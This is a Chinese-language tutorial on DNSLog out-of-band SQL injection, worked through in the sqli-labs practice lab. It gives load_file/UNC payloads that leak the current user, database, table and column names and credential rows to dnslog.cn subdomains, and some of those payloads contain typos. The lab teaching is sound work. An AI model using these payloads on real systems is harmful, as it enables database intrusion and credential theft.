一、認識:
什么是dnslog呢?
DNS就是域名解析服務,把一個域名轉換成對應的IP地址,轉換完成之后,DNS服務器就會有一個日志記錄本次轉換的時間、域名、域名對應的ip、請求方的一些信息,這個日志就叫DNSLog。
但是想要查看DNSLog信息的人,必須是擁有DNS服務器權限的人,這就使的我們要是用dnslog注入方法的話,就需要搭建自己的一個dns服務器,成本相對較高。
所以在此就推薦兩個平臺,可以快速讓我們使用dnslog外帶注入
- ceye.io
- dnslog.cn
也可以使用BurpSuite同樣可以實現相應功能。
二、利用場景
使用dnslog方法的場景非常苛刻
需要知道以下數據
-
secure_file_priv=""? ,secure_file_priv必須是空
-
secure_file_priv為null,load_file則不能加載文件。
-
secure_file_priv為路徑,可以讀取路徑中的文件;
-
secure_file_priv為空,可以讀取磁盤的目錄;
-
-
服務器只能在windows下使用,因為需要使用到UNC路徑
-
擁有root權限,因為有root權限后才能使用load_file()這個函數
-
LOAD_FILE()函數可以加載本地文件系統中的文件,并將其作為字符串返回
-
三、環境的搭建
還是使用我們的sql-labs進行實驗
首先查看mysql中secure_file_priv是否為空,如若不為空,則進入my.ini文件進行修改
進到my.ini文件中將secure_file_priv的值從null改為""
如果沒有的話可以直接寫入secure_file_priv=""之后重新啟動mysql
1、查看secure_file_priv是否為空?
show variables like '%secu%';
2、進入my.ini修改
在my.ini中添加secure_file_priv=""
重啟mysql
四、實現
此處我使用dnslog.cn獲取一盒域名
1、先進行測試
以sql-labs的第8關的布爾盲注為例:
解釋:我們先進測試,請求一下當前登錄的用戶;
1、load_file()函數用于從文件系統中讀取文件內容并將其作為字符串返回,
注:四個\是因為斜杠有特殊含義,我們需要轉義兩個,user()是我們要請求的數據,最后一個是我們剛才獲取的域名
2、然后使用concat()函數將數據拼接起來
3、相當于請求了一個UNC的地址就是這樣一個數據\\user().ui9a1m.dnslog.cn這個主機下的/abc這個共享文件夾雖然不存在但是無所謂我們的目的是需要將user()數據獲取,它會將數據解析到我們使用的dnslog.cn中它可以記錄解析后的數據
4、這里為什么要用hex()呢因為user()中有一個@符它不支持所以我們將它轉為16進制
?id=1' and load_file(concat('\\\\',hex(user()),'.ui9a1m.dnslog.cn/abc'))--+
發送請求,查看我們得到的信息
對16進制進行還原,可以看到得到了我們想要的數據
進行爆庫
此處就不需要轉16進制,直接請求表名
?id=1' and load_file(concat('\\\\',database(),'.ui9a1m.dnslog.cn/abc'))--+
得到庫名:security
接下來我們進行爆表名
爆表名
注:因為使用group_concat()函數拼接時默認使用' , '進行拼接,dnslog無法解析,所以這里有兩種方法可以解決
1、要么轉為16進制,
2、要么使用separator "_"? 使用下劃線連接
?id=1' and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.503l34.dnslog.cn/abc'))--+
很明顯,我們要得到數據大概率在users表里,可以繼續進行查詢測試
爆字段
id=1' 20and load_file(concat('\\\\',(select group_concat(column_name separator '_') from information_schema.columns where table_schema=database() and table_name='users'),'.5qir98.dnslog.cn/abc'))--+
很明顯,我們查對了,得到了想要的列名:username、password
那么知道了庫名,表名,列名,接下來就可以查數據了
爆數據
id=1' and load_file(concat('\\\\' (select concat(username,'_',password) from security.users limit 0,1),'.nr4rzc.dnslog.cn/abc'))--+
注:在此處dnslog不能解析連接符'~',這里的我解決辦法有兩個;
1、對concat()函數進行16進制轉換
id=1' and load_file(concat('\\\\' (select hex(concat(username,'_',password)) from security.users limit 0,1),'.nr4rzc.dnslog.cn/abc'))--+
2、或者將連接符換成'_'
在這里我兩個都用了下是可以,上面僅展示一個